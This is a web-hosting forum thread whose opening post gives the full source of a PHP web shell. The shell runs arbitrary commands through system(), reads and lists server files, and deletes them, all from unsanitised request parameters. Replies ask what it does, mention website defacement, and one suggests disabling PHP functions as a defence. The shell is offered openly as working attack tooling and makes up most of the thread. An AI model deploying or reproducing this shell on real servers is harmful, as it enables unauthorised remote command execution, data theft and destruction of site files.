Activity Stream
48,167 MEMBERS
6895 ONLINE
besthostingforums On YouTube Subscribe to our Newsletter besthostingforums On Twitter besthostingforums On Facebook besthostingforums On facebook groups

Results 1 to 9 of 9
  1.     
    #1
    Member
    Website's:
    litewarez.net litewarez.com triniwarez.com

    Default Simple PHP Shell script

    PHP Code: 
    <STYLE type="text/css">
    <!--a{text-decoration:none}-->
    </STYLE>
    <body bgcolor=black>
        <font color=white face="courier" size=2>
            <div align=right>//by phr0z</div>
            PHP shell in <?php echo $_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'?> <br>
            Server <?php echo $_SERVER['SERVER_NAME']; ?> <br><hr>
            <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method=GET>
                Navigate to:
                <input type="text" name="dir" value="<?php echo $dir ?>" size=50>
            </form>
            <form action="<?php print $_SERVER['PHP_SELF']; ?>" method=GET>
                Execute command:
                <input type="text" name="shell" size=45>
            </form>
    <?php

    if($_REQUEST['remove'] != NULL)
        
    unlink($_REQUEST['remove']);

    if(
    $_REQUEST['file'] != NULL) {
        
    $fp fopen($_REQUEST['file'], "rb");
        if(
    $fp == NULL) {
            echo 
    'Can\'t open file '$_REQUEST['file'];
            die;
        }
        echo 
    '<br><br><pre>';
        
    fpassthru($fp);
    }

    if(
    $_REQUEST['dir'] != NULL) {
        
    $dir $_REQUEST['dir'];
        if(
    is_dir($dir)) {
            if(
    $dh opendir($dir))
            echo 
    '<h3>Files in '$dir .'</h3><br><br>';
                while((
    $file readdir($dh)) !== false)
                if(
    is_dir($dir.'/'.$file))
                    echo 
    '<a href="'$_SERVER['PHP_SELF'] .'?dir='$dir .'/'$file .'">'$file .'</a><br>';
                else {
                    echo 
    '<a href="'$_SERVER['PHP_SELF'] .'?file='$dir .'/'$file .'">'$file .'</a>';
                    echo 
    ' [<a href="'$_SERVER['PHP_SELF'] .'?dir='$dir .'&remove=' $dir .'/'$file .'">''DEL</a>]<br>';
                }
            
    closedir($dh);
        } else 
        echo 
    '<br><br>Directory '$dir .' is invalid.';
    }

    if(
    $_REQUEST['shell'] != NULL) {
        echo 
    '<br><br><pre>';
        
    system($_REQUEST['shell']);
    }
    ?>
    litewarez Reviewed by litewarez on . Simple PHP Shell script <STYLE type="text/css"> <!--a{text-decoration:none}--> </STYLE> <body bgcolor=black> <font color=white face="courier" size=2> <div align=right>//by phr0z</div> PHP shell in <?php echo $_SERVER.$_SERVER ?> <br> Server <?php echo $_SERVER; ?> <br><hr> <form action="<?php echo $_SERVER; ?>" method=GET> Navigate to: Rating: 5
    Join Litewarez.net today and become apart of the community.
    Unique | Clean | Advanced (All with you in mind)
    Downloads | Webmasters


    Notifications,Forum,Chat,Community all at Litewarez Webmasters


  2.   Sponsored Links

  3.     
    #2
    Member
    what it does !
    Coding Horror Fan
    I don't read PM's frequently .

  4.     
    #3
    Member
    yes what is the script?

  5.     
    #4
    Banned
    Website's:
    WarezWorm.net SpookyWarez.net DJWarez.org WarezJungle.org AlienMP3.com WarezAlliance.net
    I think you can acces a shell with this script via a webpage, but I am not sure

  6.     
    #5
    Member
    This script lists every file/folder on a webspace, more complicated examples are used to deface websites...

  7.     
    #6
    Member
    A line from the script

    echo ' [<a href="'. $_SERVER['PHP_SELF'] .'?dir='. $dir .'&remove=' . $dir .'/'. $file .'">'. 'DEL</a>]<br>';

    Wowwwww this is really nastyyyyy

  8.     
    #7
    Member
    Website's:
    viz0n.net SolidNode.com r00tsecurity.org
    Adding opendir, readdir to the disabled_functions in php.ini literally kills PHP Shells, but can cause some problems with certain scripts.
    ******** ▌| SolidNode.com - *QUALITY OFFSHORE* [100+ clients strong]
    ******** ▌| For official support, please e-mail support@solidnode.com.
    ******** ▌| We run well managed servers with Basic DDoS Protection.
    ******** ▌| We also do Server/Site Management/Setup

  9.     
    #8
    Member
    don't use the script if you don't know how it exactly works

  10.     
    #9
    Member
    i guess most of us dont know wat is doest and lana is just afraid to c '&remove=' tag lolz

    Quote Originally Posted by lana2008 View Post
    A line from the script

    echo ' [<a href="'. $_SERVER['PHP_SELF'] .'?dir='. $dir .'&remove=' . $dir .'/'. $file .'">'. 'DEL</a>]<br>';

    Wowwwww this is really nastyyyyy
    :)

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Help me with simple VB Script
    By Xeon in forum Web Development Area
    Replies: 0
    Last Post: 16th Sep 2012, 10:06 AM
  2. [Hiring] Simple web script
    By Thrill in forum Marketplace (Buy, Sell and Trade)
    Replies: 1
    Last Post: 9th Sep 2012, 05:22 AM
  3. [Hiring] Need php developer for simple script.
    By pisoj1 in forum Services
    Replies: 7
    Last Post: 7th Jun 2012, 12:45 PM
  4. Need Simple PHP/JS Script
    By Netguy in forum Web Development Area
    Replies: 0
    Last Post: 22nd Jan 2011, 03:30 PM
  5. Simple PHP Shell script by litewarez
    By bonucci in forum General Discussion
    Replies: 4
    Last Post: 31st Oct 2010, 05:28 AM

Tags for this Thread

BE SOCIAL